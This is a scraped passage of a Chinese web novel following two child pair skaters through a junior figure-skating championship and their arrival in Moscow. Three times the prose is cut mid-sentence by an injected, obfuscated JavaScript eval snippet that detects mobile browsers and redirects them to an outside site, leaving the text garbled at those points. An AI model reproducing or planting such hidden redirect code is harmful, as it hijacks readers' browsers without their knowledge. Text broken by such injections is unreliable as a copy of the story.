“您不能胜任编舞师的角色吗?” 滑协于近日发布了少锦赛的规程,文件明确表示,裁判组会按照国际滑联公布的竞赛规则执行任务。 这和他们曾参加的U系列赛出现冲突。 两个比赛的技术要求不同。 短节目的要求还好应付,他们只需将节目中的单人转改为双人联合转。 自由滑的区别就大了去了。 音乐时长要求在3′30″±10″,需要重新剪辑。 双人联合转改单人联合转。 还要在节目中插入一段契合音乐,且充分利用冰面的接续步。 几乎是将整个节目推倒重来。 他们只有半个月的时间。 辛成林摊手说:“我可以指导滑行,纠正跳跃,但我本身并不擅长双人技术。” 所以临时接手他们已经是勉强,更不能在自己的薄弱环节误人子弟。 “那我们该怎么办,”贺嘉岁跳坐在板墙上,又被一个眼神赶下去,略显幽怨,“您不是有很多人脉吗?” 辛成林耷拉着眼睛,又翻起通讯录:“我问问和俱乐部合作的编舞师。” 虽然不是节目的“亲生母亲”,上手也需要一定时间,但希望能改变窘境。 …… 报名日期截止前,贺嘉岁和应逢年还在犹豫他们的组别。 贺嘉岁想继续在甲组的混沌里闯荡,他们满足规程里的考级要求。 应逢年想去丙组看看,以他们的难度,拿枚奖牌不在话下。 “应逢年,你太没追求了。”贺嘉岁对他自降目标的行为表示鄙视。 “甲组的选手都不差,我们又可能是倒数。” 应逢年翻出网上流传的参赛名单,U系列少年赛的前三甲均在列。 “那也不能迎难而退。”贺嘉岁嘟囔。 她在语文书上新学了个词,刚好能形容应逢年,好像叫“保守”。 应逢年也觉得这步退得有些多,把火引到规程上:“偏偏只有双人滑不开设乙组。” 否则,也不至于一步退回解放前。 最后是贺嘉岁凭年纪压了一头,她死死捂住电脑,在时间截止前保住了甲组。 “我们要往高处看,不能总‘退一万步讲’。”她说了句心里话。 “如果,”应逢年抿着嘴唇,“我是说如果有可能,你愿不愿意多滑一场。” 空气凝滞了一秒,贺嘉岁把耳朵往前送。 她大概是没听明白,或者没想明白。 “你再说一遍?” “我知道你一定不会选择丙组,所以先报了名。” 他们满足所有组别的参赛要求,可以多线作战,报名所有组别也符合规则。 “你疯了吧。” “如果你不愿意,我们可以退出丙组。” 虽然没办法撤回报名信息,但不用缴纳报名费的比赛,即使退出也没有损失。 贺嘉岁了然。 难怪他没有和自己死磕到底。 “我愿意,”她穿上冰鞋,狠他一眼,“我愿意死了。” 应逢年不瞎:“不愿意也没关系。” “不,正合我意。” 贺嘉岁撸起袖子,她一天到晚有用不完的牛劲。 只是三场比赛而已。 …… 少锦赛为期三天。 贺嘉岁详阅手册,他们在明天比短节目,后天是接连两场自由滑。 “你们怎么也在这里?” 几人在看台齐聚,面面相觑。 “跨界组的时间被挪到今晚,我们偷溜出来看会儿比赛。”林风致说。 万斯乐点头:“反正教练也没来。” 辛教练有很多事要忙,青锦赛紧跟在少锦赛后,辛嵘被安排了秘密集训。 带队陪赛的是助教,但是个不管事的,只要知会一声去处,还能帮忙向教练保密。 林风致接过手册,一页一页翻,感慨说:“你俩是彻底打入精英组了。” 贺嘉岁不觉得奇怪:“万斯乐和项熠也满足乙组的参赛条件。” 但国内的冰舞运动员还是太少,整个少年组都凑不齐十对,本次比赛只设甲组。 林风致现在孤木难支,总不能去女单闯荡。 “常希贻回来了。”林风致出声。 “谁?”万斯乐问。 “常希贻,去美国训练了半年。” 手册成为最烫手的东西,几个人来回传。 常希贻,代表个人参赛,是甲组的最后一位登场选手。 应逢年表示不解:“她不就在场上吗。” 六分钟练习时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976748|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,常希贻和同组运动员入场。 “听说她已经掌握了好几种三周跳。” “也就外点三周和后外结环三周,其他跳跃都不足周,会降组。” “但她还不到九岁。” “华夏从来不缺少年天才。” 周围的冰迷小声讨论着,对她抱有很高的期望,又担心她的未来。 伤仲永的故事在花滑圈子里上演了太多次。 “为什么要思考十年之后的事。”贺嘉岁想。 场上的女孩握着正正好的现在,有技术,敢拼难度,但人们更多的是贷款离她还远的发育关和生长痛。 “嘶。” 山脚小小的一点,还在啃她刚出的跳跃,3S总是足周摔倒。 林风致看得狰狞:“直接坐在冰上,尾巴骨会不会疼?” “会,整个背都会发麻。”贺嘉岁回答。 摔得多了,什么样的摔法都会遇上,这对他们来说不稀奇。 从常希贻的热身练习,贺嘉岁推测出她的跳跃配置。 除了规定的阿克塞尔跳,单跳大概会上3S,联跳会拼3T+2T。 但意料之外,常希贻把外点三周提前。 “联跳呢,放在最后?” 有规则限制,甲组至多能上两个三周跳,且种类不能重复。 常希贻内刃跳出3S+2Lo,第一跳缺周没拧过来,强接Loop,最终失去控制摔倒。 应逢年打开跳跃的分数表,可惜说:“这个联跳很赔钱,执行分的损失倒不少。” 但3S没被判定降组,常希贻依然在甲组的暂列第一。 女单告一段落,现场进入清冰时间。 观众们抵不住寒气,选择去场外散散步。 林风致看贺嘉岁和应逢年也起身,热心指了补给站:“这里的法式小面包论个卖,矿泉水五蚊一瓶。” “我们去副馆,再试试外点三周。” …… 应逢年没忘记他们的眼神,惊讶、错愕,又抱有一丝怀疑。 “我们不打算上三周跳吧?”他确认。 贺嘉岁一边走,手里拨通教练的电话。 听筒外放,辛成林的声音传来:“小贺?” “教练,我还是想考虑……” 那头似乎知道她想说什么,严肃地打断:“我说过,规则不允许上三周跳。” “但我们的外点三周降组,也会被认定为两周,对结果没有影响。” 辛成林反问:“意义在哪里?” 对规则明知故犯,跳一个势必缺半周的3T,意义在哪里。 “意义在于,我们能在赛场一步步尝试。” 这个赛季即将结束,他们至多还能在少年组待一年,不能只抱着两周跳不放。 哦,他们还没练出2A,广义的两周跳还没收集全。 “你知不知道有个词语,叫‘功利心’?” 35. 少锦赛·他知道(节目在补)^^…… “教练说话就是这样,你别生气。” 挂断电话,应逢年大气不敢出。 副馆正是人最少的时候。 清冰师傅坐在休息区打瞌睡,没人吵他,贺嘉岁也缓下脚步。 比之生气,她更倾向回顾自己的心态。 “应逢年,你也觉得我急功近利?”当局者迷,她选择问旁观者。 应逢年认真回答:“我不认为‘功利心’是贬义词,有你的督促,我们的确成长很快。” 这话说到这里,他收了声。 贺嘉岁也没接话,任凭安静流窜。 “然后呢?”她轻声说,“我以为你有转折。” “但作为搭档,我不希望你和自己钻牛角尖。” 他们一起吃饭,一起训练,大把时间耗在一起,就像彼此的影子。 他不会不了解她。 他眼看她比在体校时更刻苦,即使没有教练要求,也要当冰场的晚退冠军。 “劳逸结合”是长辈劝孩子勤学的经典语录,到她这里,教练巴不得她能学会“逸”。 贺嘉岁盯着冰面,眼神微黯。 “如果你知道自己是被挑选出来的试验品,还能这么云淡风轻吗?” 她一咬牙,索性全告诉他,那些整日在教室外徘徊的夹克衫,包括听到的那通电话。 明面上,他们得益于政策支持,有了学习花滑的机会。 说到底,这是体育局的领导病急乱投医,把一群舞蹈生剥离温室,试图让他们在冰上发展优势。 但附加课程全而不精,他们不仅会丢掉从小学会的技巧,花滑技术也不如人。 “我知道。” 剩下的说辞被堵在嘴里,贺嘉岁看对岸的清冰师傅被惊扰,重新压低声音:“你知道?” “从那群人出现在体校,我就知道。” 当年,应逢年壮着胆子和他们搭话,比所有人更早得知他们的目的。 回家告诉爸爸妈妈,冯女士还说,让他切记别上当。 “他们看着很严肃,但不像坏人。” “他们不是坏人,但他们逐利,”冯女士看着他,“他们想挑选的,就是能给他们带去利益的小朋友。” 这是上面制定的政策,而他们是政策的产物。 “那你怎么还会来到这里?” “因为那天,宣扬这项政策的叔叔把我拎到你面前。” 贺嘉岁忆起当时的情形,好像是有这么一茬。 她红着脖子:“我没开玩笑。” 应逢年敛起笑意,思忖道:“因为我知道搭档会是你,知道你很优秀,所以我相信,即使前面是坑,我们也会迈过去。” 贺嘉岁被他的话触动。 “如果我们滑不出成绩,你还能转行当演说家。” “演说家需要丰富的生活阅历,我只会在花滑的路上慢悠悠地走。” “有多慢?” “下个赛季,等我们把三周跳练出来,再编入节目,好不好?” 话题转得太快,但贺嘉岁的心情不复沉重。 他的话果然有奇效。 她扬起下巴,心软说:“勉为其难吧。” …… 到第二天,所有阴云都散在艳阳天里。 林风致和万斯乐来当亲友团,还即兴演了一出。 “万管家,我好久没看贺总这么笑过了。” 贺嘉岁绷着脸:“我没笑。” “林妈,贺总还是这么口是心非。” “开胯痛的。” “贺总,应秘书呢?” 她们这群已经完赛的麻雀,什么时候能静一会儿。 工作人员在门外严查通行卡,林风致和万斯乐被一把拦住:“非参赛人员禁止通过闸机。” 林风致垂着眼睛,一副舍不得的模样:“贺总,余下的路只能你一个人走了。” “怎么可能,我还有应秘书。” 贺嘉岁听到应逢年赶来的脚步声。 他们的出场靠前,刚从副馆的合乐训练转场过来,又到检录进场的时候,身上的余热还没散。 “下一组登场选手贺嘉岁/应逢年,来自北京市冬季运动管理中心。” 《MoonRiver》的管弦响起。 一段原地舞蹈,贺嘉岁和应逢年在刀齿小跳后,分别以大一字和后C滑出。 自由滑行让他们之间隔了些距离。 几乎到长轴一端,逆时针的跳转接上压步,两人的间距逐渐压缩,顺利牵手。 莫霍克转体,贺嘉岁被拉力吸引到应逢年身前,两个影子交叠在冰面。 音乐亮出歌喉的同时,她被托起。 是一组2组托举。 燕式滑出后分离,转体和变刃同时进行,上肢舒展的前压步在拖音处变化,应逢年调整方向,牵引贺嘉岁完成外刃的燕式滑行。 浮足落冰,他们保持手拉手握法,在莫霍克步后完成捻转一周。 [Twodriftersofftoseetheworld(两个流浪的人要看尽世间繁华).] 富有节奏感的贝斯穿插在管弦里,两个摇滚步后依然是莫霍克衔接,贺嘉岁改变主力腿,在转三后进入待机状态,她和应逢年同时完成不同转向的勾手两周。 转向换足,两人以面对面手拉手握法拉进距离,直到肢体交缠。 顺时针的浮腿前伸的蹲姿逐渐直立,贺嘉岁尝试仰身,拿到躬身难度姿态的提级,但手没够到冰刀,身形有些晃。 原地停冰,一段充分运用肢体的舞蹈后,小提琴的咏叹将音乐推向更抒情的层次。 两人以转三蓄起滑速,进入接续步。 前内括弧步,后外外勾步,捻转两圈,两人保持同向的内刃大一字滑行。 顺时针转体调整方位,一串刀齿步踩在音乐的鼓点上,他们到短轴的尽头分开,后段的接续步是镜像动作。 贺嘉岁用莫霍克改变滑足,前外转三接右前外外勾步,弧线再将重心过渡到左脚,前内莫霍克步接后内内勾步,最后以两圈捻转步结束。 歌曲很舒缓,他们青涩的脚步刚好契合这样的节奏,偶尔用上肢弥补薄弱,同样有不错的表达效果。 歌者也来到最后的吟唱,他们在冰场中心重聚,再度统一步伐。 手拉手的后压步进入前内螺旋线。 虽然四种螺旋线的区别不大,但相比于他们最早掌握的前外刃,前内刃进入还是略显别扭。 应逢年的弧线隐隐有卡冰上齿的势头,这导致他整个规尺步的用刃保持不佳,贺嘉岁也没有完全仰倒。 不过能在正赛中勉强做出这个技术动作,也算他们超额完成教练的期冀。 两人均以燕式滑出,贺嘉岁双手捧起月亮,在应逢年的大一字环绕中,也跟着旋转两圈。 月亮河淌下来,世界沉寂,有人揣着秘密。 秘密是可爱的朋友,月亮,与我。 深呼吸,牵手行礼,贺嘉岁才察觉现场来的观众不少。 虽然比不上电视剧那般坐满山头的夸张,但也算这么多场比赛以来,最隆重的一次。 少锦赛本来就是他们迄今参加的、规格最高的赛事,能刷国内积分。 助教在出口候着,首先给他们递去水杯,一想不对,保护冰刀更重要。 “瞧我激动坏了。”她自言自语。 接过刀套,贺嘉岁扶着板墙弓身。 手里突然打滑,她紧急攥住应逢年的胳膊,才勉强站稳。 “你怎么了?”她听见他问。 “手滑。” “我是说,你的脸色有些白。” 花滑虽然不比其他体育项目激烈,但在艺术掩盖之下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983117|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,体能消耗也很快。 以往下训或完赛,贺嘉岁的脸总是通红,偶尔练到缺氧,连手也是红彤彤的。 很少出现此刻的状况,脸色煞白,唇色也不比之前红润。 “滑螺旋线的时候,肚子突然抽了一下。”贺嘉岁的脑子里正乱,想不出更能贴切形容痉挛的词。 看到应逢年皱起眉头,她急忙补充:“就痛了一瞬,已经好了。” 应该是真好了。 来到等分区,身体的热气上涌,绯红延迟爬上脸颊,她对着镜头笑了笑。 助教抱着两人的外套一同落座,看着比他们还紧张,也不点评表演的优劣,嘴里祈祷天灵灵、地灵灵。 “贺嘉岁/应逢年,短节目技术分13.56分,节目内容分12.10分,总得分为25.66分。” “和上次比,有进步。”助教点头。 贺嘉岁说:“这不是我们的进步。” 他们按照国际滑联的要求改了技术动作,2.0版《MoonRiver》的BV值本就要比上一版高出一分有余。 这么看来,他们的技术分反而有下降,内容分也干巴巴的。 助教安慰:“这场比赛的打分尺度很严,我以为是老辛亲自上阵呢。” 比赛还在继续。 新的组合准备就绪,音乐再度填满场馆,是和他们风格类似的古典乐。 应逢年看贺嘉岁钉在沙发上,像在忍痛。 “你真的没事吗?” 贺嘉岁也疑惑:“难道是水土不服。” “你昨天还好好的。” …… 抽痛来得快去得也快,反反复复,像捉弄人的坏精灵,到晚上也没消解。 夜跑时,贺嘉岁痛得蹲下。 如果四下无人,她更想以地为床,用打滚扩散感觉。 “我去找队医。”应逢年看不下去,把她背起。 “现在是晚上九点,不在他们的工作时间内。” 起风了。 冷空气拍在脸上,汗湿的头发打绺,贺嘉岁能感觉到额头发凉。 和她紧贴的脖颈相比,像冰火两重天。 “酒店的医疗站是全天营业,总能找到医生。” 他们离酒店不远,大街上没多少行人,只有路灯晃下一束又一束光。 痛,不痛,痛,不痛。 坐在主办方设置的临时医疗点,贺嘉岁并拢膝盖,有些不自在。 医生问了腹痛的位置和病史,在电脑上写了些什么,又让她躺上病床。 “请家属……和外人回避。” 拉上挂帘,医生戴上手套触诊。 “是这里痛?”她按在下腹正中。 “现在不痛。” 医生话不多,做事也利索,三两下就结束动作,回到电脑前敲敲打打。 贺嘉岁酝酿许久,才下决心发问:“医生,我还有救吗?” 医生被她逗笑:“你这是原发性痛经,连疾病都算不上。” 痛经? “我没来过月经。” “子宫和盆腔充血,也会出现痛经现象。” 聊这话题真难捱。 贺嘉岁不懂医学,也不了解身体,只有听话的份。 “我不用吃药吧?”她问。 “如果痉挛比较频繁,可以服用十毫升布洛芬混悬液,”医生沉吟,“但我更建议你在近期减少训练量,规律作息。” “谢谢。” 她顺从地点头,但心里长出反骨。 不能减少训练量。 明天有两场比赛,此后的漫长时间,她还要继续和三周跳死磕。 起身下床,她想推门离开。 应逢年应该等了很久。 医生摘下口罩和手套,在身后说:“我刚才顺便给你号脉,你最近就会来初潮。” 36. 少锦赛·丙组金牌 “应逢年,我长不高了。” 这是贺嘉岁从腹痛得出的感言。 应逢年想细问,她又三缄其口,不说症状和身高的联系。 他只能安慰:“你才十二岁,还能长很久。” 贺嘉岁叹气,哎,他不懂。 惶恐里带着些许期待,连洗手间都去得更勤快。 但医生口中的初潮迟迟没来,她有些失望。 “这还没到第二天,哪能这么快,”林风致被她吵醒,迷糊中塞给她一张护垫,“你还有两场比赛,别折腾了。” 睡醒一觉,身体好了许多,出早功能蹦能跳,贺嘉岁还多跑了一里地。 应逢年直呼苏炳添附体。 但赛时的心态多少受到影响。 下午场的双人甲组自由滑,贺嘉岁罕见地连摔抛跳和单跳,组合凭文化测试的微弱优势艰难前进一步,最终排在九对选手的第八位。 “没关系,”助教揽着她的肩,“下午不行还有晚上,今年不行还有明年。” 贺嘉岁知道她的好意,但还是有些负担。 总把希望寄托给下一次,那下一次再失误,又该找什么理由呢。 “哪能次次都有机会。” 他们坐在休息区,旁观了一场颁奖礼,主办方很用心,给每一位领奖台选手准备了花环。 季军是铜色,亚军是银白,冠军似乎离顶灯更近,花环闪着碎金。 “晚饭想吃什么?” “你说,咱俩戴上那个花环,会是什么样?” “光靠想象怎么能确切形容。” 贺嘉岁嗤了一声:“就你这语文不及格的脑子,想不出来也正常。” 应逢年想把牙咬碎。 他在期中考试时疏于检查,碰上拿到漏印试卷的倒霉事,被贺嘉岁笑了半个学期。 他信誓旦旦说要一雪前耻,但时间过得真慢,他们还没熬到期末考试。 “我的意思是,”他清了清嗓子,为自己正名,“行胜于言。” …… 少年丙组的比赛到饭点才千呼万唤始出来。 选手仍然以单人滑项目的居多,贺嘉岁坐在休息室,看一波又一波人被带离,只剩下不熟的男孩女孩们大眼瞪小眼。 确切地说,是他俩和其他人不熟。 “你们都互相认识?”她问。 “我们是一个俱乐部的,在一起训练。”小孩子们答。 “闻熙不一样,她还有外教。” 他们从小一起比赛,见的面恐怕比远方的亲戚还多。 被叫做闻熙的女孩也不畏生,邀请贺嘉岁加入他们的家家酒游戏。 但贺嘉岁摇手,她自觉已经过了玩角色扮演的年纪。 她看着一群孩子玩得入迷。 “他当国王,你当公主。” “不行,我要当太后,让他当我的太上皇。” 等等,关系有些乱。 贺嘉岁作为场外人员,不懂就问:“你俩才是一个组合吧?” 虽然他们差不多年纪,但服装风格很鲜明。 怎么还有把自己的男伴借给别人的道理。 “我们在这赛季互换了搭档。” 有小朋友解释,他们都是兼项选手,在练习单人滑之余,玩玩双人滑。 这年纪,铁心走双人滑的人不多。 所以选伴也随意。 或许哪天闹个小矛盾,就和冰场的其他小运动员组队。 “当然,”闻熙说,“姐姐放心,我们都很强,绝对不会放水的。” 贺嘉岁看矮她一头还多的冲天辫,口气比出生的牛犊还大。 “我也不会放水的。”她回敬。 “闻熙很厉害的,她会很多两周跳。”小伙伴们帮女孩助威。 “我也会很多两周跳。” 应逢年补充:“勾手两周用刃清晰。” 几个孩子合集,立马投诚,说要把贺嘉岁拥立为新的孩子王。 眼看发生宫变,闻熙连忙说:“就算双人滑比不过,我的主项是单人滑。” “没有可比性,我没滑过单人滑。” 优越感失而复得,闻熙又扬起笑脸:“那你可以试试,不会被搭档拖后腿。” 她的小男伴不乐意,嚷嚷着要推翻她的太后之位。 大男伴也不乐意,应逢年可不认为自己会拖后腿。 没有硝烟的较量,大家只有证明自己的决心。 几组小朋友的表现都不错,基本功扎实,单跳和抛跳都出了两周,滑速也不算慢。 只是年龄是天然的劣势,到捻转和托举,谁也没辙。 虽然贺/应得儿托举和他们一样马马虎虎。 “我们还可以尝试练一练手扶髋的托举。”等别人出分的间隙,她又在擘画未来。 但看到应逢年考斯特下的细胳膊,那二两肌肉能把她抛起来就算他臂力惊人。 “算了,我怕你摔死我呢。”她打消念头。 应逢年挽起袖子,这么清晰的线条,她居然看不到? “退一万步讲,就算真发生意外,我也会当垫背的。” “还聊呢,”助教冷不防敲脑袋,“下午差点忘记动作,这会儿都记熟了?” 应逢年老实站直:“下午是意外。” “呸,哪有天天把意外挂嘴边的。” 播报员报出闻熙组的分数,28.43分,比他们下午那场更高。 “别有压力,我们只要不摔,完全能有超越的可能。” “我知道。” “下一组登场选手贺嘉岁/应逢年,来自北京市冬季运动管理中心。” 刚才还发狠话的孩子们在场外鼓掌加油。 贺嘉岁用余光一瞥,他们混在冰童堆里,都差不多高。 不知道戳了哪处笑点,她忽然心情愉悦,绕绕脚腕,轻装上阵。 她为什么要和小孩子较真。 轻快的旋律奏响,贺嘉岁和应逢年应声起步,在场中相遇。 错身,一圈跟随彼此的滑行,贺嘉岁以莫霍克步转身。 华尔兹握法的压步,女伴用扫出浮腿带起惯性,两人变换滑向后分离。 看似毫不相干的轴对称式编排,滑行轨迹最终归于平行,在歌词唱起时,待机进入勾手两周的单跳。 顺利落冰。 带上肢大幅度舞蹈的燕式滑出,应逢年转身握住她的鞋帮,引带完成一道小圆弧线。 顺势把人拉近,接连两个2组托举踩着节奏完成,都衔接捻转步的难度滑出。 [啊春天已来临,有鲜花点缀, 雪地上的足迹是欢乐相随。] 反手拉手握法的压步后,贺嘉岁以前外转三换向,由应逢年完成两个转体的小托举。 刀齿步给节目增添灵动,两人重新进入压步,在莫霍克步后进入捻转一周。 男伴弓步转三后跪冰,为舞蹈亮相的女伴甘当绿叶,随后凯利安握法过渡抛跳。 自此,下午一塌糊涂的表演没被复刻,他们渡过所有难关。 节目里新增的接续步来不及启用新的,有转三和莫霍克步衔接,他们基本套用了短节目的公式。 不过当初编这段步法时,金荞麦参考了三级的要求,贺嘉岁和应逢年的执行力有限,难度较短节目有下降。 接续步结束的捻转步后,两人小跳方便相握,手拉手进入前外螺旋线。 果然还是最初掌握的用刃更顺手,应逢年在进入前有个浅浅的大一字,但意识到拉力有些欠缺,果断起腿点冰,进入规尺步。 牵引力让贺嘉岁的弧线给得更饱满,保持住了两圈低姿。 节目后段的音乐激昂,两人的表演欲也更强。 贺嘉岁的裙摆在风中招展,像枝头含苞待放的一朵。 她的裙子是极具生命力的粉绿色,最适合春天这个意向。 但这朵花差点和绿叶双双摧折。 逆时针转三接顺时针后压步,后C进入单人转。 因为步伐不太同频,贺嘉岁认为自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017922|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弧线压得狠了,想调整主力足的出腿方向。 谁料直接偏了重心,连旋转点也没踩着。 不过进入失败也不算训练中的低频事件,她镇静地接了个右足前外转三,再用左脚垫一步,给旋转加些速度。 应逢年紧接出现失误。 蹲转后的换足,他掉速明显,只能尽快依赖反直立转提速。 这导致换足后的蹲姿圈数不够。 “我以为你们是涅槃重生,”助教像吃了黄连,难开口,“结果在最后放了个烟花。” 贺嘉岁的旋转一直别扭,这她是知道的。 问题在于,应逢年也和喝了酒似的,转着转着就飘了,还差点卡壳。 贺嘉岁想狐假虎威一把,没逃过审判。 “如果今晚的裁判保持昨天的作风,你们的这个技术动作会得不到承认。”助教说。 贺嘉岁不认为是这样:“我掩饰得很好。” 刚才一连串转三,她在训练时都没这么灵机一动过。 助教笑得命苦:“傻嘉岁,你的进转再行云流水,旁边就有个活生生的参照物。” 有明显进入动作的技术会被裁判认为开始执行。 即使完成度为零,也会占个技术的位置。 所以国际赛场不乏零周跳。 但现在争执裁判的评价尺度没有意义,他们坐在kc区,只能静静等。 “贺嘉岁/应逢年,自由滑技术分14.63分,节目内容分14.29分,总得分为28.92分。” 比分看着焦灼,但胜负已分。 “如果避免非技术性失误,我们的优势会更大。” 有上一场比赛做参考,助教基本可以确定,他们的旋转因要求姿态的旋转圈数不够被标“V”,或直接定了基础级。 “不过有惊无险,至少你们收获了一枚少锦赛的金牌。” 贺嘉岁接过冰童递来的礼物,一一装进包里。 真站上领奖台,贺嘉岁才发现,她相中的冠军花环只是仿金箔,且不属于任何选手,拍了照就得归还主办方。 “这个花环的做工也一般,”应逢年有些失望,“好看的是头顶的那束光。” 只是因为那束光,它才被赋予魅力。 “你还是个哲学家。” “哲学在哪里?” “难道你不是想说,能被兑现的只有努力,我们要追逐远处的光,而不是虚名。” “怎么理解的?”应逢年咋舌,但转念一想,“你说得很对。” 再路过领奖台,他刚好看着她,她的眼里刚好乘着光。 …… “虽然这个赛季也没有大进步,但好歹是结束了!” 启程回北京,林风致高呼解放。 没有辛嵘的管束,她想到什么说什么。 “这一次,我要给自己放一周的假。” 贺嘉岁把她拉回现实:“教练不会允许的。” 况且,以她现在的心理,背着大家偷偷努力也说不定。 “休息两天总行吧。” 为了备战少锦赛,她确实做了太多准备,一个人扛大旗,还有些不适应。 “我和项熠想参加星未来的集训,”万斯乐看向贺嘉岁和应逢年,“你们呢?” “准备期末考试。”应逢年答。 他现在满脑子只有考试。 “只是这样?好没劲。” “当然还有,”贺嘉岁卖关子,“我们在为未来做准备。” 万斯乐以为是故弄玄虚,笑说谁没个未来。 林风致持怀疑态度。 以她的了解,贺嘉岁绝对憋了大招。 “从实招来。”她架住脖子。 贺嘉岁很容易挣开,拉着行李箱遥遥跑在前面。 “等未来来的时候。” …… “前往莫斯科的旅客请注意:您乘坐的CA909次航班即将开始检票。请您带好行李物品,出示登机牌,首都国际机场祝您旅途愉快,谢谢。” 37. 母女 八小时的长途飞行有些煎熬,贺嘉岁翻来覆去,睡睡醒醒好几次。 离开北京时正值黄昏,现在她穿过机场廊桥,莫斯科依然黄昏。 天光甚至更亮。 没有大人陪伴,她和应逢年只身来到陌生国度,人生路不熟,只能紧随大部队走。 但两张东亚面孔太扎眼。 “Rebyata,gdevashiroditeli(孩子们,你们的父母呢)?” 听到有人叫住自己,贺嘉岁下意识回头,是个穿制服的工作人员。 他抽走机票翻看,嘴里叽里咕噜说一大堆。 奈何他们语言不通,只能大眼瞪小眼。 工作人员耐烦,换了英语:“Whereareyourparents?” 应逢年努力拼凑词汇,回答:“Onlywe.” “应该用‘us’,老师教过的。”贺嘉岁在身后纠正。 最后有专员一路陪同,带他们查签证过海关,办好入境手续,再到行李提取处。 能在小学毕业的暑假来到莫斯科,家人功不可没。 恰逢贺先生的公司调整发展计划,他主动申请去北京市场调研,一是工作需要,二是方便办理女儿的升学手续。 贺嘉岁会继续在北京求学。 至于为什么孩子们能顺利出国,那些夹克衫不愿放人,他俩软磨硬泡辛成林,对方勉强愿意放他们走。 离队的假条批了一个多月,理由是参加罗斯特科娃所在蔚蓝俱乐部的发展训练营。 开营时间在三天后。 “拿到行李,然后呢?” 比赛的缘故,贺嘉岁有不少飞行经历,但攒下来的微薄经验不足以支撑她在这里活动自如。 周围人高马大,应逢年也不能带给她十足的安全感。 “到莫斯科后,要找到可靠的住处。”他翻着唯一靠谱的备忘录。 出国不是小事,应家父母恨不能跟着,但俄签迟迟下不来,他们只能在国内着急。 着急之余,冯女士列了份生存指南,找房就是步骤之一。 “我存了房东电话,先问问看。” 因为这趟旅行,他们拥有属于自己的手机,应逢年的动作尽显炫耀。 响铃都要外放。 贺嘉岁看他缺心眼,提醒说:“财不外露,国外有很多小偷。” 她在身后走,尝试合上背包,前面的人突然顿足,她差点连人带箱撞他身上。 “不会走路吗?” “贺嘉岁,我看见你的名字了。”应逢年指着出口。 一个金发碧眼的斯拉夫人举了块纸板,上面写着“贺嘉岁请看这里”。 那显然是外国人的手笔,字与字互不认识,一撇一捺像在打架。 但在俄英混杂的语言环境里,再别扭的汉字也格外亲切。 感受到两股视线,斯拉夫人锁定身影,只等他们走近,徐徐开口:“贺嘉岁?” 一股洋味。 “This,”贺嘉岁指着纸板上的名字,又点了点自己,“isme.” “Yeah,Iknowyou,sweetie.” 理解无能,贺嘉岁有些置身事外,看没大自己多少的女孩亮出胳膊,接过他们的所有行李。 “要跟她走?”应逢年同样在状况外。 “不知道。” 贺嘉岁不知道作何反应,但这女孩似乎认识她,并且很高兴见到她。 出机场,他们被带上车。 车牌号不是国内的排列,完完全全俄式风格,但后视镜挂着小红灯笼,仪表台上有个财神爷。 西方人也信这些? “这是为了让我们放下戒备,要紧惕黑车。” 冯女士也叮嘱过,外国有抢小孩的坏人,甚至因为不禁枪械,不少案例在光天化日之下发生。 现在就是光天化日。 莫斯科的傍晚似乎被慢放,太阳眷恋晚霞,始终舍不得落下。 恐惧在狭小的空间滋生,应逢年越想越可怕,趁前座还在调整安全带,想随时拉着贺嘉岁逃跑。 “她们已经知道我的名字,这算不算信息泄露?” 爸爸说,信息泄露也很危险,她说不定会因此欠一屁股钱。 驾驶座的女人实在忍不了揣测,摘掉无声的耳机,一口中文流利: “你们从哪一步开始认为,我是混□□的?” …… 车上四个人,贺嘉岁和应逢年坐在后座。 斯拉夫女孩原本想和他们套近乎,但双方的英语水平都很勉强,遂作罢。 一个小时车程,大多是华人女性和她的交谈,用的是俄语,不知道在说什么。 莫斯科的居民楼很集中,窗户一格一格,像市中心的老城区。 一路驶往郊外,视野逐渐宽敞,又和东北乡村相差无几。 直到车速减缓,导航说到达目的地。 贺嘉岁借月色描摹。 周围都是独栋小楼,楼与楼隔得不近,还划了小花园。 车停稳,行李被搬下,女人把钥匙扔给贺嘉岁,说自己还有事,让他们先熟悉房子。 贺嘉岁和应逢年在风中凌乱。 钥匙,郊区,别墅。 国外的房东都贴在脸上揽生意? 应逢年猜测:“她会不会是,你的妈妈。” 贺嘉岁摇头:“妈妈不知道我会来莫斯科,何况她是教练,怎么买得起别墅。” 参考辛教练,运动服到年尾都是两套来回穿,想来工资不会高。 退一万步,就算她记不清妈妈的长相,电话里的声音也和这个女人不同。 这个女人说话克制,总欲言又止,不像妈妈时常发散关心。 七月的晚风有些燥热,应逢年扇动领口,在房前蹲不住。 